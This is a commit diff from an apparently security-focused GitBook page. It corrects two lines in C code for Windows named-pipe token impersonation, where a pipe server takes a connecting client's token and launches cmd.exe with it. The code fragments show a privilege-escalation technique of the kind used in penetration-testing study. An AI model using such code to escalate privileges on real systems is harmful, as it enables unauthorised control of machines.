GitBook: [master] one page modified
This commit is contained in:
parent
bcb25897ff
commit
65a0afb2a4
@ -52,7 +52,7 @@ int ServiceGo(void) {
|
||||
|
||||
int main() {
|
||||
|
||||
LPCWSTR sPipeName = "\\\\.\\pipe\\piper";
|
||||
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
|
||||
HANDLE hSrvPipe;
|
||||
HANDLE th;
|
||||
BOOL bPipeConn;
|
||||
@ -100,7 +100,7 @@ int main() {
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe",
|
||||
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
|
||||
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
|
||||
return -5;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user